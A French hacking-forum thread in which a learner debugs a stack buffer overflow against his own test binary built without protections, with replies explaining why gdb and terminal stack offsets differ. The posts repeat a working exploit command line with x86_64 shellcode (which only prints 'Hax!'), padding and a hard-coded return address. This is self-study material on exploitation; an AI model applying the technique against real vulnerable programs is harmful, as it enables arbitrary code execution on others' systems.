• STATISTIQUES
  • Il y a eu un total de 2 membres et 11908 visiteurs sur le site dans les dernières 24h pour un total de 11 910 personnes!


    Membres: 2 433
    Discussions: 3 585
    Messages: 32 832
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Developpez.net
    Un forum communautaire qui se veut pour les développeurs en générale. Avec presque 500 000 membr...
    Programmation
    [FR] PHP Débutant
    Apprendre le PHP par l'exemple, facilement et simplement. Réservé d'abord aux débutants....
    Programmation
    [EN] Packet Storm
    Packet Storm est un site qui combine nouvelles de la sécurité informatique, téléchargemen...
    Vulnérabilités
    [FR] Asp-php
    Tutoriaux sur ASP, PHP, ASP.net, XML, SQL, Javascript, HTML, VML - Scripts et ressources pour webmasters - Forums d&#...
    Programmation
    [EN] Bright Shadows
    JavaScript: 13, Exploit: 27, Crypto: 69, CrackIt: 52, Stegano: 67, Flash: 3, Programming: 16, Java-Applet: 10, Logic: 20...
    Challenges
    [EN] Rosecode
    Programming: 36, Math: 29, Probability: 5, Sequence: 7, Crypto: 4, Brainf**k: 13, TimeRace: 4, Hack: 9
    Challenges
    [EN] HackQuest
    Logic: 12, JavaScript: 14, Applet: 6, CrackIt: 13, Crypto: 11, Internet: 3, Exploit: 7, Stegano: 12, Flash: 1, Programmi...
    Challenges

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
demande de détail sur la sortie de mon buffer overflow
29-03-2016, 16h03 (Modification du message : 29-03-2016, 16h05 par Athar.)
Message : #1
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
demande de détail sur la sortie de mon buffer overflow
Bonjour j'étudie les buffer overflow et création de shellcode sur mon ubuntu 14.04 lts x86_64.
Je comprends les principes de la stack.
Voilà j'ai un tutoriel qu je suis actuellement, mais j'ai deux sortie différentes , l'un sous gdb , l'autre depuis un terminal classique.

Le but étant d'affiche le string du shellcode, " Hax! "

ASLR est à 0
Compilation:gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g

Je prend l'habitude de revérifié si la pile est exécutable (-zexecstack) par un
Code :
root@krihna:/home/krihna/buffer# execstack -q oldskool
X oldskool

Sous GDB:
Code :
(gdb) r $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Starting program: /home/krihna/buffer/oldskool $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!
Comme on peut le voir ça fonctionne.

Sous un terminal en root, j'obtiens une erreur, que je n'arrive pas à "gérer".

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"'`
Instruction non permise (core dumped)

et Non-root:
Code :
krihna@krihna:~/buffer$ Starting program: /home/krihna/buffer/oldskool $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Starting : commande introuvable
Comment vous pouvez le voir, même injection du shellcode.
J'ai aussi essayé de modifié le padding (si c'est bien le bon terme)"A"*27.
Si quelqu'un pouvais me mettre sur une piste.
Merci à vous.
+1 (0) -1 (0) Répondre
29-03-2016, 17h08 (Modification du message : 29-03-2016, 17h12 par Athar.)
Message : #2
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
https://wiki.ubuntu.com/Security/Features

En faite je pense que c'est normal, passe sous gdb, mais pas en mode normalement.
C'est ubuntu qui bloque par sécurité le lancement du prog.

Je veut dire par là, que c'est la méthode d'exploitation(très classique)qui pose problème.
+1 (0) -1 (0) Répondre
29-03-2016, 18h36
Message : #3
supersnail En ligne
Éleveur d'ornithorynques
*******



Messages : 1,614
Sujets : 72
Points: 466
Inscription : Jan 2012
RE: demande de détail sur la sortie de mon buffer overflow
Sinon ça peut être les adresses sur la stack faussées par gdb (qui rajoute ses propres variables d'environnement, provoquant un décalage dans les adresses), ou tout bêtement l'ASLR qui est laissé activé Smile
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (1) -1 (0) Répondre
29-03-2016, 19h27
Message : #4
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
Merci pour cette réponse.
ALSR est bien désactivé.
Je penché aussi sur ta premier proposition, je pense que la variable est réutilisé, ce qui fausse la sortie.

J'ai l'idée de passé tout ça sous gdb, et en sortir un petit tutoriel.
+1 (0) -1 (0) Répondre
30-03-2016, 11h35 (Modification du message : 30-03-2016, 11h35 par gruik.)
Message : #5
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: demande de détail sur la sortie de mon buffer overflow
salut,

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c ...`
Instruction non permise (core dumped)
essaye en invoquant /home/krihna/buffer/oldskool au lieu de ./oldskool, argv[0] n'a pas la même taille dans les deux cas, ça peut créer un décalage
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure.
Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément.
(Nicolas Boileau, L'Art poétique)
+1 (2) -1 (0) Répondre
30-03-2016, 16h20
Message : #6
Athar Hors ligne
Newbie
*



Messages : 7
Sujets : 2
Points: 0
Inscription : May 2013
RE: demande de détail sur la sortie de mon buffer overflow
(30-03-2016, 11h35)gruik a écrit : salut,

Code :
root@krihna:/home/krihna/buffer# ./oldskool `python -c ...`
Instruction non permise (core dumped)
essaye en invoquant /home/krihna/buffer/oldskool au lieu de ./oldskool, argv[0] n'a pas la même taille dans les deux cas, ça peut créer un décalage

Merci pour cette information fort utile pour ma part.
Fonctionne sous GDB.
terminal root:
Code :
root@krihna:/home/krihna/buffer# /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*27 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!root@krihna:/home/krihna/buffer#

et en non-root, j'ai du modifié le padding à "A" *13
Code :
krihna@krihna:~/buffer$ /home/krihna/buffer/test $(python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" + "A"*13 +"\xf0\xe3\xff\xff\xff\x7f"')
Hax!krihna@krihna:~/buffer$

Merci encore à toi pour cette astuce.
Je vais essayé de comprendre le pourquoi du comment de tout ça, surtout sur ta méthode.
+1 (0) -1 (0) Répondre


Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut